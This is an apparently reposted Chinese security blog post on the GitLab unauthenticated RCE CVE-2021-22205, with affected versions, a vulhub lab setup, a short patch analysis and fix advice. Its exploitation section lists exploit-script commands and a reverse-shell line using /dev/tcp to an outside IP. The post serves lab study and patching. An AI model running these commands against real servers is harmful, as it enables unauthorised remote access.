【技术干货】CVE-2021-22205 GITLAB 未授权 RCE 漏洞

admin 2022年4月15日01:05:45评论510 views字数 1295阅读4分19秒阅读模式

【技术干货】CVE-2021-22205 GITLAB 未授权 RCE 漏洞


arp @PortalLab实验室



漏洞描述

GitLab是一款Ruby开发的Git项目管理平台。如11.9以后的GitLab中,因为使用了图片处理工具ExifTool而受到漏洞CVE-2021-22204(https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html)的影响,攻击者可以通过一个未授权的接口上传一张恶意构造的图片,进而在GitLab服务器上执行命令。

利用条件

11.9 <= Gitlab CE/EE < 13.8.8

13.9 <= Gitlab CE/EE < 13.9.6

13.10 <= Gitlab CE/EE < 13.10.3

环境搭建

使用vulhub搭建漏洞环境。

git clone https://github.com/vulhub/vulhub.gitcd       进入  vulhub/gitlab/CVE-2021-22205 目录下使用 docker-compose up -d   开始安装环境

环境部署完毕后,访问ip+8080、访问到以下页面,环境搭建成功。

【技术干货】CVE-2021-22205 GITLAB 未授权 RCE 漏洞


漏洞分析

漏洞原理

github上的diff记录对漏洞原理做简单分析。

【技术干货】CVE-2021-22205 GITLAB 未授权 RCE 漏洞

审计源码、在 lib/gitlab/sanitizers/exif.rb 中 对允许的MIME类型做了修改 对上传文件类型的判断做了修复。

【技术干货】CVE-2021-22205 GITLAB 未授权 RCE 漏洞

【技术干货】CVE-2021-22205 GITLAB 未授权 RCE 漏洞

在 spec/lib/gitlab/sanitizers/exif_spec.rb 中对图像的规格检测做了修改。

【技术干货】CVE-2021-22205 GITLAB 未授权 RCE 漏洞

在workhorse/internal/upload/uploads_test.go中对上传的图片、更新了校验规则、判断规则。

【技术干货】CVE-2021-22205 GITLAB 未授权 RCE 漏洞

漏洞测试

POC脚本测试如下:

python3 cve-2021-22205.py -v true -t http://127.0.0.1:8080

【技术干货】CVE-2021-22205 GITLAB 未授权 RCE 漏洞

漏洞利用

可利用python脚本exp功能。
1. 上传txt文件
python3 cve-2021-22205_exp.py -a  true -t http://127.0.0.1:8080 -c "touch /tmp/xl.txt"
【技术干货】CVE-2021-22205 GITLAB 未授权 RCE 漏洞

2. 反弹shell

python3 cve-2021-22205_exp.py -a  true -t http://127.0.0.1:8080 -c "echo 'bash -i >& /dev/tcp/192.168.181.130/9999 0>&1' > /tmp/xl.sh"

成功上传 shell文件

【技术干货】CVE-2021-22205 GITLAB 未授权 RCE 漏洞

添加执行权限

python3 cve-2021-22205_exp.py -a  true -t http://127.0.0.1:8080 -c "chmod +x /tmp/xl.sh"

反弹shell

python3 cve-2021-22205_exp.py -a  true -t http://127.0.0.1:8080 -c "/bin/bash /tmp/xl.sh"
【技术干货】CVE-2021-22205 GITLAB 未授权 RCE 漏洞

修复建议

1. 使用白名单、限制源ip;
2. 更新到安全版本。
参考(https://hackerone.com/reports/1154542)

往期· 推荐


【技术干货】CVE-2021-22205 GITLAB 未授权 RCE 漏洞

【技术干货】CVE-2021-22205 GITLAB 未授权 RCE 漏洞
【技术干货】CVE-2021-22205 GITLAB 未授权 RCE 漏洞

【技术干货】CVE-2021-22205 GITLAB 未授权 RCE 漏洞


【技术干货】CVE-2021-22205 GITLAB 未授权 RCE 漏洞

原文始发于微信公众号(星阑科技):【技术干货】CVE-2021-22205 GITLAB 未授权 RCE 漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月15日01:05:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【技术干货】CVE-2021-22205 GITLAB 未授权 RCE 漏洞http://cn-sec.com/archives/911119.html

发表评论

匿名网友 填写信息